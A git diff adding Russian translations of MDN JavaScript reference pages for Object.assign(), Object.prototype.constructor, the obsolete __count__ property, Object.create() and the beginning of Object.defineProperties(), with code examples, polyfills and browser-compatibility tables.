+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.__lookupGetter__()")}}</li>
+ <li>оператор {{jsxref("Operators/set", "set")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}} и {{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__defineGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.__defineSetter__()")}}</li>
+ <li><a href="ru/docs/Web/JavaScript/Guide_ru/Working_with_Objects#.D0.9E.D0.BF.D1.80.D0.B5.D0.B4.D0.B5.D0.BB.D0.B5.D0.BD.D0.B8.D0.B5_.D0.B3.D0.B5.D1.82.D1.82.D0.B5.D1.80.D0.BE.D0.B2_.D0.B8_.D1.81.D0.B5.D1.82.D1.82.D0.B5.D1.80.D0.BE.D0.B2">Руководство по JS: определение геттеров и сеттеров</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/assign/index.html b/files/ru/web/javascript/reference/global_objects/object/assign/index.html
new file mode 100644
index 0000000000..f4c222cc26
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/assign/index.html
@@ -0,0 +1,216 @@
+---
+title: Object.assign()
+slug: Web/JavaScript/Reference/Global_Objects/Object/assign
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Object.assign()</strong></code> используется для копирования значений всех собственных перечисляемых свойств из одного или более исходных объектов в целевой объект. После копирования он возвращает целевой объект.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.assign(<var>target</var>, ...<var>sources</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Целевой объект.</dd>
+ <dt><code>sources</code></dt>
+ <dd>Исходные объекты.</dd>
+</dl>
+
+<h3 id="Return_value" name="Return_value">Возвращаемое значение</h3>
+
+<p>Возвращается получившийся целевой объект.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>Object.assign()</code> копирует из исходных объектов в целевой объект только <em>перечисляемые</em> и <em>собственные</em> свойства. Он использует внутренний метод <code>[[Get]]</code> на исходных объектах и внутренний метод <code>[[Set]]</code> на целевом объекте, так что он также вызывает геттеры и сеттеры. Именно поэтому он <em>присваивает</em> свойства вместо простого копирования или определения новых свойств. Это поведение может сделать метод непригодным для вливания новых свойств в прототип, если вливаемые исходные объекты содержат геттеры. Вместо него для копирования в прототипы определений свойств, включая признак их перечисляемости, следует использовать методы {{jsxref("Object.getOwnPropertyDescriptor()")}} и {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Копируются свойства типов как {{jsxref("String")}}, так и {{jsxref("Symbol")}}.</p>
+
+<p>В случае возникновения ошибки, например, когда свойство является незаписываемым, возбуждается исключение {{jsxref("TypeError")}}, а целевой объект <code>target</code> остаётся неизменным.</p>
+
+<p>Обратите внимание, что метод <code>Object.assign()</code> не выкидывает исключения, если в качестве исходных значений выступают {{jsxref("null")}} или {{jsxref("undefined")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Cloning_an_object" name="Example:_Cloning_an_object">Пример: клонирование объекта</h3>
+
+<pre class="brush: js">var obj = { a: 1 };
+var copy = Object.assign({}, obj);
+console.log(copy); // { a: 1 }
+</pre>
+
+<h3 id="Example:_Merging_objects" name="Example:_Merging_objects">Пример: слияние объектов</h3>
+
+<pre class="brush: js">var o1 = { a: 1 };
+var o2 = { b: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1);  // { a: 1, b: 2, c: 3 }, изменился и сам целевой объект.
+</pre>
+
+<h3 id="Example:_Symbol_properties" name="Example:_Symbol_properties">Пример: копирование символьных свойств</h3>
+
+<pre class="brush: js">var o1 = { a: 1 };
+var o2 = { [Symbol('foo')]: 2 };
+
+var obj = Object.assign({}, o1, o2);
+console.log(obj); // { a: 1, [Symbol("foo")]: 2 }
+</pre>
+
+<h3 id="Example:_Only_own_enumerable_properties" name="Example:_Only_own_enumerable_properties">Пример: наследуемые и неперечисляемые свойства не копируются</h3>
+
+<pre class="brush: js">var obj = Object.create({ foo: 1 }, { // foo является унаследованным свойством.
+  bar: {
+    value: 2  // bar является неперечисляемым свойством.
+  },
+  baz: {
+    value: 3,
+    enumerable: true  // baz является собственным перечисляемым свойством.
+  }
+});
+
+var copy = Object.assign({}, obj);
+console.log(copy); // { baz: 3 }
+</pre>
+
+<h3 id="Example:_Primitives" name="Example:_Primitives">Пример: примитивы оборачиваются в объекты</h3>
+
+<pre class="brush: js">var v1 = '123';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('foo')
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// Примитивы будут обёрнуты, а null и undefined - проигнорированы.
+// Обратите внимание, что собственные перечисляемые свойства имеет только обёртка над строкой.
+console.log(obj); // { "0": "1", "1": "2", "2": "3" }
+</pre>
+
+<h3 id="Example:_Exceptions" name="Example:_Exceptions">Пример: исключения прерывают текущую задачу копирования</h3>
+
+<pre class="brush: js">var target = Object.defineProperty({}, 'foo', {
+  value: 1,
+  writable: false
+}); // target.foo является свойством только-для-чтения
+
+Object.assign(target, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
+// TypeError: "foo" is read-only
+// При присваивании свойству target.foo выбрасывается исключение
+
+console.log(target.bar);  // 2, первый исходный объект успешно скопировался.
+console.log(target.foo2); // 3, первое свойство второго исходного объекта успешно скопировалось.
+console.log(target.foo);  // 1, здесь было выброшено исключение.
+console.log(target.foo3); // undefined, метод assign завершился, свойство foo3 не скопировалось.
+console.log(target.baz);  // undefined, третий исходный объект так же не скопировался.
+</pre>
+
+<h3 id="Example:_Copy_accessors" name="Example:_Copy_accessors">Пример: копирование методов доступа</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 1,
+  get bar() {
+    return 2;
+  }
+};
+
+var copy = Object.assign({}, obj);
+console.log(copy);
+// { foo: 1, bar: 2 }, значением свойства copy.bar является значение, возвращаемое геттером obj.bar.
+
+// Такой вариант функции присваивания позволяет копировать методы доступа.
+function myAssign(target, ...sources) {
+  sources.forEach(source =&gt; {
+    Object.defineProperties(target, Object.keys(source).reduce((descriptors, key) =&gt; {
+      descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
+      return descriptors;
+    }, {}));
+  });
+  return target;
+}
+
+var copy = myAssign({}, obj);
+console.log(copy);
+// { foo:1, get bar() { return 2 } }
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот полифилл не поддерживает символьные свойства, поскольку ES5 всё равно не поддерживает символы:</p>
+
+<pre class="brush: js">if (!Object.assign) {
+  Object.defineProperty(Object, 'assign', {
+    enumerable: false,
+    configurable: true,
+    writable: true,
+    value: function(target, firstSource) {
+      'use strict';
+      if (target === undefined || target === null) {
+        throw new TypeError('Cannot convert first argument to object');
+      }
+
+      var to = Object(target);
+      for (var i = 1; i &lt; arguments.length; i++) {
+        var nextSource = arguments[i];
+        if (nextSource === undefined || nextSource === null) {
+          continue;
+        }
+
+        var keysArray = Object.keys(Object(nextSource));
+        for (var nextIndex = 0, len = keysArray.length; nextIndex &lt; len; nextIndex++) {
+          var nextKey = keysArray[nextIndex];
+          var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);
+          if (desc !== undefined &amp;&amp; desc.enumerable) {
+            to[nextKey] = nextSource[nextKey];
+          }
+        }
+      }
+      return to;
+    }
+  });
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div> </div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Object.assign")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/constructor/index.html b/files/ru/web/javascript/reference/global_objects/object/constructor/index.html
new file mode 100644
index 0000000000..4db5ef3987
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/constructor/index.html
@@ -0,0 +1,173 @@
+---
+title: Object.prototype.constructor
+slug: Web/JavaScript/Reference/Global_Objects/Object/constructor
+tags:
+  - JavaScript
+  - Object
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Возвращает ссылку на функцию {{jsxref("Global_Objects/Object", "Object")}}, создавшую прототип экземпляра. Обратите внимание, что значение этого свойства является ссылкой на саму функцию, а не строкой, содержащей имя функции. Для примитивных значений, вроде <code>1</code>, <code>true</code> или <code>"test"</code>, значение доступно только для чтения.</p>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Все объекты наследуют свойство <code>constructor</code> из своего прототипа:</p>
+<pre class="brush: js">var o = {};
+o.constructor === Object; // true
+
+var a = [];
+a.constructor === Array; // true
+
+var n = new Number(3);
+n.constructor === Number; // true
+</pre>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<h3 id="Example:_Displaying_the_constructor_of_an_object" name="Example:_Displaying_the_constructor_of_an_object">Пример: отображение конструктора объекта</h3>
+<p>В следующем примере создаётся прототип <code>Tree</code> и объект этого типа <code>theTree</code>. Затем в примере отображается свойство <code>constructor</code> объекта <code>theTree</code>.</p>
+<pre class="brush: js">function Tree(name) {
+  this.name = name;
+}
+
+var theTree = new Tree("Красное дерево");
+console.log("theTree.constructor равен " + theTree.constructor);
+</pre>
+<p>Вывод примера будет следующим:</p>
+<pre class="brush: js">theTree.constructor равен function Tree(name) {
+  this.name = name;
+}
+</pre>
+<h3 id="Example:_Changing_the_constructor_of_an_object" name="Example:_Changing_the_constructor_of_an_object">Пример: изменение конструктора объекта</h3>
+<p>Следующий пример показывает, как изменить конструктор значений общих объектов. Не затрагиваются только значения <code>true</code>, <code>1</code> и <code>"тест"</code>, поскольку они имеют родные конструкторы только для чтения. Этот пример показывает, что полагаться на свойство <code>constructor</code> объекта не всегда безопасно.</p>
+<pre class="brush: js">function Type() {}
+
+var types = [
+  new Array(),
+  [],
+  new Boolean(),
+  true,             // останется неизменным
+  new Date(),
+  new Error(),
+  new Function(),
+  function() {},
+  Math,
+  new Number(),
+  1,                // останется неизменным
+  new Object(),
+  {},
+  new RegExp(),
+  /(?:)/,
+  new String(),
+  'тест'            // останется неизменным
+];
+
+for (var i = 0; i &lt; types.length; i++) {
+  types[i].constructor = Type;
+  types[i] = [types[i].constructor, types[i] instanceof Type, types[i].toString()];
+}
+
+console.log(types.join('\n'));
+</pre>
+<p>Вывод примера будет следующим:</p>
+<pre class="brush: js">function Type() {},false,
+function Type() {},false,
+function Type() {},false,false
+function Boolean() {
+    [native code]
+},false,true
+function Type() {},false,Mon Sep 01 2014 16:03:49 GMT+0600
+function Type() {},false,Error
+function Type() {},false,function anonymous() {
+
+}
+function Type() {},false,function () {}
+function Type() {},false,[object Math]
+function Type() {},false,0
+function Number() {
+    [native code]
+},false,1
+function Type() {},false,[object Object]
+function Type() {},false,[object Object]
+function Type() {},false,/(?:)/
+function Type() {},false,/(?:)/
+function Type() {},false,
+function String() {
+    [native code]
+},false,тест
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.1', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p> </p>
diff --git a/files/ru/web/javascript/reference/global_objects/object/count/index.html b/files/ru/web/javascript/reference/global_objects/object/count/index.html
new file mode 100644
index 0000000000..7308b40b0f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/count/index.html
@@ -0,0 +1,83 @@
+---
+title: Object.prototype.__count__
+slug: Web/JavaScript/Reference/Global_Objects/Object/count
+tags:
+  - JavaScript
+  - Object
+  - Obsolete
+  - Property
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.count
+---
+<div>{{JSRef("Global_Objects", "Object")}} {{obsolete_header("2")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>__count__</code></strong> использовалось для хранения количества перечисляемых свойств объекта, но было удалено.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.__count__</code></pre>
+
+<h2 id="Description" name="Description">Пример</h2>
+<pre class="brush: js">{ 1: 1 }.__count__              // 1
+[].__count__                    // 0
+[1].__count__                   // 1
+[1, /* дыра */, 2, 3].__count__ // 3
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/04/06/more-changes-coming-to-spidermonkey-the-magical-__count__-property-of-objects-is-being-removed/">[Запись в блоге] В SpiderMonkey грядут большие изменения: магическое свойство __count__ будет удалено</a> (англ.)</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/create/index.html b/files/ru/web/javascript/reference/global_objects/object/create/index.html
new file mode 100644
index 0000000000..d17862e00d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/create/index.html
@@ -0,0 +1,240 @@
+---
+title: Object.create()
+slug: Web/JavaScript/Reference/Global_Objects/Object/create
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Object.create()</strong></code> создаёт новый объект с указанным прототипом и свойствами.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code>Object.create(<var>proto</var>[, <var>propertiesObject</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>proto</code></dt>
+ <dd>Объект, который станет прототипом вновь созданного объекта.</dd>
+ <dt><code>propertiesObject</code></dt>
+ <dd>Необязательный параметр. Если указан и не равен {{jsxref("Global_Objects/undefined", "undefined")}}, должен быть объектом, чьи собственные перечисляемые свойства (то есть такие, которые определены на самом объекте, а не унаследованы по цепочке прототипов) указывают дескрипторы свойств, добавляемых в новый объект. Имена добавляемых свойств совпадают с именами свойств в этом объекте. Эти свойства соответствуют второму аргументу метода {{jsxref("Object.defineProperties()")}}.</dd>
+</dl>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Новый объект с заданным прототипом и свойствами</p>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+
+<p>Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр <code>proto</code> не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обертки примитивных типов).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example.3A_Classical_inheritance_with_Object.create" name="Example.3A_Classical_inheritance_with_Object.create()">Пример: классическое наследование с <code>Object.create()</code></h3>
+
+<p>Ниже показан пример использования <code>Object.create()</code> для имитации классического наследования. Это пример одиночного наследования, поскольку только его поддерживает JavaScript.</p>
+
+<pre class="brush: js notranslate">// Shape — суперкласс
+function Shape() {
+  this.x = 0;
+  this.y = 0;
+}
+
+// метод суперкласса
+Shape.prototype.move = function(x, y) {
+  this.x += x;
+  this.y += y;
+  console.info('Фигура переместилась.');
+};
+
+// Rectangle — подкласс
+function Rectangle() {
+  Shape.call(this); // вызываем конструктор суперкласса
+}
+
+// подкласс расширяет суперкласс
+Rectangle.prototype = Object.create(Shape.prototype);
+Rectangle.prototype.constructor = Rectangle;
+
+var rect = new Rectangle();
+
+console.log('Является ли rect экземпляром Rectangle? ' + (rect instanceof Rectangle)); // true
+console.log('Является ли rect экземпляром Shape? ' + (rect instanceof Shape)); // true
+rect.move(1, 1); // выведет 'Фигура переместилась.'
+</pre>
+
+<p>Если вы хотите унаследоваться от нескольких объектов, то это возможно сделать при помощи примесей.</p>
+
+<pre class="brush: js notranslate">function MyClass() {
+  SuperClass.call(this);
+  OtherSuperClass.call(this);
+}
+
+MyClass.prototype = Object.create(SuperClass.prototype); // наследование
+mixin(MyClass.prototype, OtherSuperClass.prototype); // примешивание
+
+MyClass.prototype.myMethod = function() {
+  // что-то делаем
+};
+</pre>
+
+<p>Функция примешивания должна копировать функции из прототипа суперкласса в прототип подкласса, она должна предоставляться пользователем. Примером примеси может служить функция <a href="http://api.jquery.com/jQuery.extend/">jQuery.extend()</a>.</p>
+
+<h3 id="Example.3A_Using_propertiesObject_argument_with_Object.create" name="Example.3A_Using_propertiesObject_argument_with_Object.create()">Пример: использование аргумента <code>propertiesObject</code> с <code>Object.create()</code></h3>
+
+<pre class="brush: js notranslate">var o;
+
+// создаём объект с нулевым прототипом
+o = Object.create(null);
+
+
+o = {};
+// эквивалентно этому:
+o = Object.create(Object.prototype);
+
+
+// В этом примере мы создаём объект с несколькими свойствами.
+// (Обратите внимание, что второй параметр отображает ключи на *дескрипторы свойств*.)
+o = Object.create(Object.prototype, {
+  // foo является рядовым 'свойством-значением'
+  foo: { writable: true, configurable: true, value: 'привет' },
+  // bar является свойством с геттером и сеттером (свойством доступа)
+  bar: {
+    configurable: false,
+    get: function() { return 10; },
+    set: function(value) { console.log('Установка `o.bar` в', value); }
+/* при использовании методов доступа ES5 наш код мог бы выглядеть так:
+    get function() { return 10; },
+    set function(value) { console.log('Установка `o.bar` в', value); } */
+  }
+});
+
+
+function Constructor() {}
+o = new Constructor();
+// эквивалентно этому:
+o = Object.create(Constructor.prototype);
+// Конечно, если бы в функции Constructor был бы реальный код инициализации,
+// метод с Object.create() не был бы эквивалентным
+
+
+// создаём новый объект, чей прототип является новым пустым объектом
+// и добавляем простое свойство 'p' со значением 42
+o = Object.create({}, { p: { value: 42 } });
+
+// по умолчанию свойства НЕ ЯВЛЯЮТСЯ записываемыми, перечисляемыми или настраиваемыми:
+o.p = 24;
+o.p;
+// 42
+
+o.q = 12;
+for (var prop in o) {
+  console.log(prop);
+}
+// 'q'
+
+delete o.p;
+// false
+
+// для определения свойства ES3
+o2 = Object.create({}, {
+  p: {
+    value: 42,
+    writable: true,
+    enumerable: true,
+    configurable: true
+  }
+});
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Для этого полифилла необходима правильно работающая Object.prototype.hasOwnProperty.</p>
+
+<pre class="brush: js notranslate">if (typeof Object.create != 'function') {
+  // Этапы производства ECMA-262, издание 5, 15.2.3.5
+  // Ссылка: http://es5.github.io/#x15.2.3.5
+  Object.create = (function() {
+    // Чтобы сэкономить память, используйте общий конструктор
+    function Temp() {}
+
+    // делает безопасную ссылку на Object.prototype.hasOwnProperty
+    var hasOwn = Object.prototype.hasOwnProperty;
+
+    return function (O) {
+      // 1. Если Type(O) не является Object or Null выдается исключениеTypeError.
+      if (typeof O != 'object') {
+        throw TypeError('Object prototype may only be an Object or null');
+      }
+
+      // 2. Пусть obj будет результатом создания нового объекта, как если бы
+      //    выражение new Object(), где Object является стандартным встроенным
+      //    конструктором  с таким именем
+      // 3. Установите для внутреннего свойства [[Prototype]] объекта obj значение O.
+      Temp.prototype = O;
+      var obj = new Temp();
+      Temp.prototype = null; // Давайте не будем держать случайные ссылки на О...
+
+      // 4.  Если аргумент Properties присутствует и не определен, добавляем
+      //    собственные свойства к obj, как будто вызывая стандартную встроенную
+      //    функцию Object.defineProperties с аргументами obj и
+      //    Properties.
+      if (arguments.length &gt; 1) {
+        // Object.defineProperties делает ToObject своим первым аргументом.
+        var Properties = Object(arguments[1]);
+        for (var prop in Properties) {
+          if (hasOwn.call(Properties, prop)) {
+            obj[prop] = Properties[prop];
+          }
+        }
+      }
+
+      // 5. Возращает obj
+      return obj;
+    };
+  })();
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Object.create")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>Запись в блоге Джона Резига о <a href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf()</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/defineproperties/index.html b/files/ru/web/javascript/reference/global_objects/object/defineproperties/index.html
new file mode 100644
index 0000000000..30e95e65a1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/defineproperties/index.html
@@ -0,0 +1,236 @@
+---
+title: Object.defineProperties()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>Object.defineProperties()</strong></code> определяет новые или изменяет существующие свойства, непосредственно на объекте, возвращая этот объект.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperties(<var>obj</var>, <var>props</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, на котором определяются новые или изменяются существующие свойства.</dd>
+ <dt><code>props</code></dt>
+ <dd>Объект, чьи собственные перечисляемые свойства представляют собой дескрипторы для создаваемых или изменяемых свойств. Дескрипторы свойств обладают следующими дополнительными ключами:
+ <dl>
+  <dt><code>configurable</code></dt>
+  <dd>Равен <code>true</code> только в том случае, если тип этого дескриптора свойства может быть изменён и если свойство может быть удалено из содержащего его объекта.<br>
+  <strong>Значение по умолчанию установлено в <code>false</code>.</strong></dd>
+  <dt><code>enumerable</code></dt>
+  <dd>Равен <code>true</code> только в том случае, если это свойство можно увидеть через перечисление свойств содержащего его объекта.<br>
+  <strong>Значение по умолчанию установлено в <code>false</code>.</strong></dd>
+  <dt><code>value</code></dt>
+  <dd>Значение, ассоциированное со свойством. Может быть любым допустимым значением JavaScript (числом, объектом, функцией и т.д.).<br>
+  <strong>Значение по умолчанию установлено в {{jsxref("Global_Objects/undefined", "undefined")}}.</strong></dd>
+  <dt><code>writable</code></dt>
+  <dd>Равен <code>true</code> только в том случае, если значение, ассоциированное со свойством, может быть изменено с помощью {{jsxref("Operators/Assignment_Operators", "оператора присваивания", "", 1)}}.<br>
+  <strong>Значение по умолчанию установлено в <code>false</code>.</strong></dd>
+  <dt><code>get</code></dt>
+  <dd>Функция, используемая как геттер свойства, либо {{jsxref("Global_Objects/undefined", "undefined")}}, если свойство не имеет геттера. Возвращаемое значение функции будет использоваться как значение свойства.<br>
+  <strong>Значение по умолчанию установлено в {{jsxref("Global_Objects/undefined", "undefined")}}.</strong></dd>
+  <dt><code>set</code></dt>
+  <dd>Функция, используемая как сеттер свойства, либо {{jsxref("Global_Objects/undefined", "undefined")}}, если свойство не имеет сеттера. Функция принимает единственным аргументом новое значение, присваиваемое свойству.<br>
+  <strong>Значение по умолчанию установлено в {{jsxref("Global_Objects/undefined", "undefined")}}.</strong></dd>
+  <dt>
